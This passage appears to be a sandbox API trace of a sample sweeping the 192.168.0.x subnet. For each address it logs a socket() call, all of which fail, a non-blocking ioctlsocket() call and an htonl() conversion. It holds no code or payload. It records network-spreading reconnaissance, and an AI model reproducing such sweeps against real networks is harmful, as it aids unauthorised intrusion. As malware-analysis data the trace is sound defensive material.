[0280.801] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0280.801] htonl (hostlong=0xc0a8005d) returned 0x5d00a8c0 [0280.801] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.801] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0280.801] htonl (hostlong=0xc0a8005e) returned 0x5e00a8c0 [0280.801] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.801] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0280.801] htonl (hostlong=0xc0a8005f) returned 0x5f00a8c0 [0280.801] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.801] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0280.802] htonl (hostlong=0xc0a80060) returned 0x6000a8c0 [0280.802] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.802] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0280.802] htonl (hostlong=0xc0a80061) returned 0x6100a8c0 [0280.802] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.802] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0280.802] htonl (hostlong=0xc0a80062) returned 0x6200a8c0 [0280.802] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.802] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0280.802] htonl (hostlong=0xc0a80063) returned 0x6300a8c0 [0280.802] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.802] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0280.802] htonl (hostlong=0xc0a80064) returned 0x6400a8c0 [0280.802] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.802] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0280.803] htonl (hostlong=0xc0a80065) returned 0x6500a8c0 [0280.803] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.803] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0280.803] htonl (hostlong=0xc0a80066) returned 0x6600a8c0 [0280.803] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.803] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0280.803] htonl (hostlong=0xc0a80067) returned 0x6700a8c0 [0280.803] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.803] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0280.803] htonl (hostlong=0xc0a80068) returned 0x6800a8c0 [0280.803] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.803] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0280.803] htonl (hostlong=0xc0a80069) returned 0x6900a8c0 [0280.803] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.803] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0280.804] htonl (hostlong=0xc0a8006a) returned 0x6a00a8c0 [0280.804] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.804] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0280.804] htonl (hostlong=0xc0a8006b) returned 0x6b00a8c0 [0280.804] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.804] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0280.804] htonl (hostlong=0xc0a8006c) returned 0x6c00a8c0 [0280.804] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.804] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0280.804] htonl (hostlong=0xc0a8006d) returned 0x6d00a8c0 [0280.804] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.804] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0280.804] htonl (hostlong=0xc0a8006e) returned 0x6e00a8c0 [0280.805] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.805] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0280.805] htonl (hostlong=0xc0a8006f) returned 0x6f00a8c0 [0280.805] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.805] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0280.805] htonl (hostlong=0xc0a80070) returned 0x7000a8c0 [0280.805] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.805] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0280.805] htonl (hostlong=0xc0a80071) returned 0x7100a8c0 [0280.805] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.805] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0280.805] htonl (hostlong=0xc0a80072) returned 0x7200a8c0 [0280.805] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.805] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0280.805] htonl (hostlong=0xc0a80073) returned 0x7300a8c0 [0280.806] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.806] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0280.806] htonl (hostlong=0xc0a80074) returned 0x7400a8c0 [0280.806] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.806] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0280.806] htonl (hostlong=0xc0a80075) returned 0x7500a8c0 [0280.806] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.806] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0280.806] htonl (hostlong=0xc0a80076) returned 0x7600a8c0 [0280.806] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.806] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0280.806] htonl (hostlong=0xc0a80077) returned 0x7700a8c0 [0280.806] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.806] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0280.807] htonl (hostlong=0xc0a80078) returned 0x7800a8c0 [0280.807] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.807] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0280.807] htonl (hostlong=0xc0a80079) returned 0x7900a8c0 [0280.807] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.807] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0280.807] htonl (hostlong=0xc0a8007a) returned 0x7a00a8c0 [0280.807] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.807] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0280.807] htonl (hostlong=0xc0a8007b) returned 0x7b00a8c0 [0280.807] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.807] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0280.807] htonl (hostlong=0xc0a8007c) returned 0x7c00a8c0 [0280.807] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.807] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0280.807] htonl (hostlong=0xc0a8007d) returned 0x7d00a8c0 [0280.808] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.808] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0280.808] htonl (hostlong=0xc0a8007e) returned 0x7e00a8c0 [0280.808] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.808] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0280.808] htonl (hostlong=0xc0a8007f) returned 0x7f00a8c0 [0280.808] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.808] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0280.808] htonl (hostlong=0xc0a80080) returned 0x8000a8c0 [0280.903] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.904] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0280.904] htonl (hostlong=0xc0a80081) returned 0x8100a8c0 [0280.904] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.904] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0280.904] htonl (hostlong=0xc0a80082) returned 0x8200a8c0 [0280.904] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.904] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0280.904] htonl (hostlong=0xc0a80083) returned 0x8300a8c0 [0280.904] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.904] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0280.904] htonl (hostlong=0xc0a80084) returned 0x8400a8c0 [0280.904] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.904] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0280.904] htonl (hostlong=0xc0a80085) returned 0x8500a8c0 [0280.905] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.905] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0280.905] htonl (hostlong=0xc0a80086) returned 0x8600a8c0 [0280.905] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.905] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0280.905] htonl (hostlong=0xc0a80087) returned 0x8700a8c0 [0280.905] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.905] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0280.905] htonl (hostlong=0xc0a80088) returned 0x8800a8c0 [0280.905] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.905] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0280.905] htonl (hostlong=0xc0a80089) returned 0x8900a8c0 [0280.905] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.905] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0280.906] htonl (hostlong=0xc0a8008a) returned 0x8a00a8c0 [0280.906] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.906] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0280.906] htonl (hostlong=0xc0a8008b) returned 0x8b00a8c0 [0280.906] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.906] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0280.906] htonl (hostlong=0xc0a8008c) returned 0x8c00a8c0 [0280.906] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.906] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0280.906] htonl (hostlong=0xc0a8008d) returned 0x8d00a8c0 [0280.906] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.906] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0280.906] htonl (hostlong=0xc0a8008e) returned 0x8e00a8c0 [0280.906] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.906] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0280.906] htonl (hostlong=0xc0a8008f) returned 0x8f00a8c0 [0280.906] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.907] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0280.907] htonl (hostlong=0xc0a80090) returned 0x9000a8c0 [0280.907] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.907] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0280.907] htonl (hostlong=0xc0a80091) returned 0x9100a8c0 [0280.907] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.907] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0280.907] htonl (hostlong=0xc0a80092) returned 0x9200a8c0 [0280.907] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.907] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0280.907] htonl (hostlong=0xc0a80093) returned 0x9300a8c0 [0280.907] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.907] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0280.907] htonl (hostlong=0xc0a80094) returned 0x9400a8c0 [0280.907] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.907] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0280.907] htonl (hostlong=0xc0a80095) returned 0x9500a8c0 [0280.908] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.908] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0280.908] htonl (hostlong=0xc0a80096) returned 0x9600a8c0 [0280.908] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.908] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0280.908] htonl (hostlong=0xc0a80097) returned 0x9700a8c0 [0280.908] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.908] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0280.908] htonl (hostlong=0xc0a80098) returned 0x9800a8c0 [0280.908] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.908] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0280.908] htonl (hostlong=0xc0a80099) returned 0x9900a8c0 [0280.908] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.908] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0280.908] htonl (hostlong=0xc0a8009a) returned 0x9a00a8c0 [0280.908] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.908] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0280.908] htonl (hostlong=0xc0a8009b) returned 0x9b00a8c0 [0280.909] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.909] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0280.909] htonl (hostlong=0xc0a8009c) returned 0x9c00a8c0 [0280.909] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.909] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0280.909] htonl (hostlong=0xc0a8009d) returned 0x9d00a8c0 [0280.909] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.909] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0280.909] htonl (hostlong=0xc0a8009e) returned 0x9e00a8c0 [0280.909] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.909] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0280.909] htonl (hostlong=0xc0a8009f) returned 0x9f00a8c0 [0280.909] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.909] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0280.909] htonl (hostlong=0xc0a800a0) returned 0xa000a8c0 [0280.909] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.909] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0280.909] htonl (hostlong=0xc0a800a1) returned 0xa100a8c0 [0280.910] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.910] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0280.910] htonl (hostlong=0xc0a800a2) returned 0xa200a8c0 [0280.910] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.910] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0280.910] htonl (hostlong=0xc0a800a3) returned 0xa300a8c0 [0280.910] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.910] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0280.910] htonl (hostlong=0xc0a800a4) returned 0xa400a8c0 [0280.910] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.910] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0280.910] htonl (hostlong=0xc0a800a5) returned 0xa500a8c0 [0280.910] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.910] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0280.910] htonl (hostlong=0xc0a800a6) returned 0xa600a8c0 [0280.911] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.911] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0280.911] htonl (hostlong=0xc0a800a7) returned 0xa700a8c0 [0280.911] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.911] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0280.911] htonl (hostlong=0xc0a800a8) returned 0xa800a8c0 [0280.911] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.911] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0280.915] htonl (hostlong=0xc0a800a9) returned 0xa900a8c0 [0280.915] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.915] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0280.915] htonl (hostlong=0xc0a800aa) returned 0xaa00a8c0 [0280.915] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.915] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0280.915] htonl (hostlong=0xc0a800ab) returned 0xab00a8c0 [0280.915] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.916] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0280.916] htonl (hostlong=0xc0a800ac) returned 0xac00a8c0 [0280.916] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.916] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0280.916] htonl (hostlong=0xc0a800ad) returned 0xad00a8c0 [0280.916] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.916] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0280.916] htonl (hostlong=0xc0a800ae) returned 0xae00a8c0 [0280.916] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.916] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0280.916] htonl (hostlong=0xc0a800af) returned 0xaf00a8c0 [0280.916] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.916] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0280.916] htonl (hostlong=0xc0a800b0) returned 0xb000a8c0 [0280.916] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.916] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0280.917] htonl (hostlong=0xc0a800b1) returned 0xb100a8c0 [0280.917] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.917] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0280.917] htonl (hostlong=0xc0a800b2) returned 0xb200a8c0 [0280.917] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.917] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0280.917] htonl (hostlong=0xc0a800b3) returned 0xb300a8c0 [0280.917] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.917] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0280.917] htonl (hostlong=0xc0a800b4) returned 0xb400a8c0 [0280.921] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.921] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0280.921] htonl (hostlong=0xc0a800b5) returned 0xb500a8c0 [0280.921] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.921] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0280.921] htonl (hostlong=0xc0a800b6) returned 0xb600a8c0 [0280.921] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.921] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0280.921] htonl (hostlong=0xc0a800b7) returned 0xb700a8c0 [0280.921] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.921] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0280.922] htonl (hostlong=0xc0a800b8) returned 0xb800a8c0 [0280.922] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.922] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0280.922] htonl (hostlong=0xc0a800b9) returned 0xb900a8c0 [0280.922] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.922] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0280.922] htonl (hostlong=0xc0a800ba) returned 0xba00a8c0 [0280.922] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.922] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0280.922] htonl (hostlong=0xc0a800bb) returned 0xbb00a8c0 [0280.922] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.922] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0280.922] htonl (hostlong=0xc0a800bc) returned 0xbc00a8c0 [0280.922] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.923] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0280.923] htonl (hostlong=0xc0a800bd) returned 0xbd00a8c0 [0280.923] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.923] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0280.923] htonl (hostlong=0xc0a800be) returned 0xbe00a8c0 [0280.923] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.923] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0280.923] htonl (hostlong=0xc0a800bf) returned 0xbf00a8c0 [0280.923] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.923] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0280.923] htonl (hostlong=0xc0a800c0) returned 0xc000a8c0 [0280.923] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.923] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0280.923] htonl (hostlong=0xc0a800c1) returned 0xc100a8c0 [0280.923] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.924] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0280.924] htonl (hostlong=0xc0a800c2) returned 0xc200a8c0 [0280.924] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.924] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0280.924] htonl (hostlong=0xc0a800c3) returned 0xc300a8c0 [0280.924] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.924] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0280.924] htonl (hostlong=0xc0a800c4) returned 0xc400a8c0 [0280.924] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.924] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0280.924] htonl (hostlong=0xc0a800c5) returned 0xc500a8c0 [0280.924] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.924] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0280.924] htonl (hostlong=0xc0a800c6) returned 0xc600a8c0 [0280.924] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.925] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0280.925] htonl (hostlong=0xc0a800c7) returned 0xc700a8c0 [0280.925] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.925] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0280.925] htonl (hostlong=0xc0a800c8) returned 0xc800a8c0 [0280.925] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.925] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0280.925] htonl (hostlong=0xc0a800c9) returned 0xc900a8c0 [0280.925] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.925] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0280.925] htonl (hostlong=0xc0a800ca) returned 0xca00a8c0 [0280.925] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.925] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0280.925] htonl (hostlong=0xc0a800cb) returned 0xcb00a8c0 [0280.926] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.926] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0280.926] htonl (hostlong=0xc0a800cc) returned 0xcc00a8c0 [0280.926] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.926] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0280.926] htonl (hostlong=0xc0a800cd) returned 0xcd00a8c0 [0280.926] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.926] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0280.926] htonl (hostlong=0xc0a800ce) returned 0xce00a8c0 [0280.926] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.926] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0280.926] 